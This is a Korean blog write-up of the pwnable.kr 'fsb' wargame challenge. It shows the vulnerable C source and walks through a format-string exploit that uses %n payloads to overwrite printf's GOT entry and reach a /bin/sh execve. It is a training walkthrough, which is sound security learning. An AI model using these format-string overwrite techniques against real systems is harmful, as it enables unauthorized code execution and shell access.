본문 바로가기
시스템 해킹/pwnable.kr

[Pwnable.kr] fsb

by L3m0n S0ju 2021. 8. 7.


 

 

#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>

unsigned long long key;
char buf[100];
char buf2[100];

int fsb(char** argv, char** envp){
        char* args[]={"/bin/sh", 0};
        int i;

        char*** pargv = &argv;
        char*** penvp = &envp;
        char** arg;
        char* c;
        for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        *pargv=0;
        *penvp=0;

        for(i=0; i<4; i++){
                printf("Give me some format strings(%d)\n", i+1);
                read(0, buf, 100);
                printf(buf);
        }

        printf("Wait a sec...\n");
        sleep(3);

        printf("key : \n");
        read(0, buf2, 100);
        unsigned long long pw = strtoull(buf2, 0, 10);
        if(pw == key){
                printf("Congratz!\n");
                execve(args[0], args, 0);
                return 0;
        }

        printf("Incorrect key \n");
        return 0;
}

int main(int argc, char* argv[], char** envp){

        int fd = open("/dev/urandom", O_RDONLY);
        if( fd==-1 || read(fd, &key, 8) != 8 ){
                printf("Error, tell admin\n");
                return 0;
        }
        close(fd);

        alloca(0x12345 & key);

        fsb(argv, envp); // exploit this format string bug!
        return 0;
}


이번 문제는 포맷 스트링을 사용하는 문제입니다. 원래 문제 출제자의 의도는 alloca 함수로 인한 제한 조건을 우회하여 key 값을 변경하는 목적이지만 대부분의 사람들은 다른 풀이법을 선택했습니다. 다른 풀이법이 더 쉽기 때문입니다. 포맷 스트링 버그는 아래 코드의 printf(buf)에서 발생합니다. printf(buf)에 브레이크 포인트를 걸고 esp를 관찰하면 아래 그림과 같이 메모리 값들을 가지고 있습니다. 이중에서 이중 포인터를 찾을 수 있는데 0xffb16d68을 보면 0xffb16d80 값이 들어있고 0xffb16d80 주소는 가까운 곳에 위치합니다. 따라서 이러한 이중 포인터를 사용해서 임의의 함수 got를 덮어쓰기할 수 있습니다.(메모리 주소는 시작할 때 마다 바뀝니다.)

 

 

        for(i=0; i<4; i++){
                printf("Give me some format strings(%d)\n", i+1);
                read(0, buf, 100);
                printf(buf);
        }

 

 

 

 

 

 

 


fsb 실행파일의 got를 검색하면 여러 함수들이 있는데 printf 함수 got를 execve 함수로 덮어씌우겠습니다. 그 이유는 printf가 가장 많이 사용되고 printf(buf)가 끝난 후 바로 아래 printf("Wait a sec...\n");에서 사용되기 때문입니다.

 

 

 

 


printf 함수의 got는 0x804a004입니다.

 

 

 

 

 


fsb 함수에서 아래 코드의 시작 부분은 0x084869f입니다.

 

        if(pw == key){
                printf("Congratz!\n");
                execve(args[0], args, 0);
                return 0;
        }

 


이제 익스플로잇 코드를 작성하겠습니다. 0xffb16d80은 esp에서 14칸 떨어져있으므로 %134520836d%14$n을 입력하면 0xffb16d80이 가르키는 곳에 printf 함수의 got 주소 0x804a004(134520836)가 저장된다. %14$n에서 14$는 esp에서 14칸 떨어진 곳을 지정한다는 뜻이고 %n은 4바이트만큼 읽은 문자 개수를 저장한다는 의미입니다.

 

다음으로 printf함수의 got에 execve 함수가 있는 0x084869f를 덮어씌우겠습니다. 0xffb16d80에는 현재 printf함수의 got 주소가 입력되어 있습니다. 따라서 %134514335d%20$n를 입력하여 esp에서 20만큼 떨어진 곳의 주소가 가르키는 곳은 printf 함수의 got로 got 값을 덮어씌우면 다음부터 printf 함수가 실행될때마다 덮어씌운 주소값에 있는 코드가 실행된다.

 


파일을 실행하면 대략 2억개의 문자를 읽어야하므로 2분정도의 시간이 걸린다. gdb로 실행할 경우 쉘을 획득할 때 문제가 생기기 때문에 일반적인 실행 방법으로 파일을 실행한다.

 


플래그

'시스템 해킹 > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] dragon  (0) 2021.08.13
[Pwnable.kr] echo1  (0) 2021.08.08
[Pwnable.kr] tiny_easy  (0) 2021.08.04
[Pwnable.kr] horcruxes  (1) 2021.08.03
[Pwnable.kr] asm  (0) 2021.08.01

댓글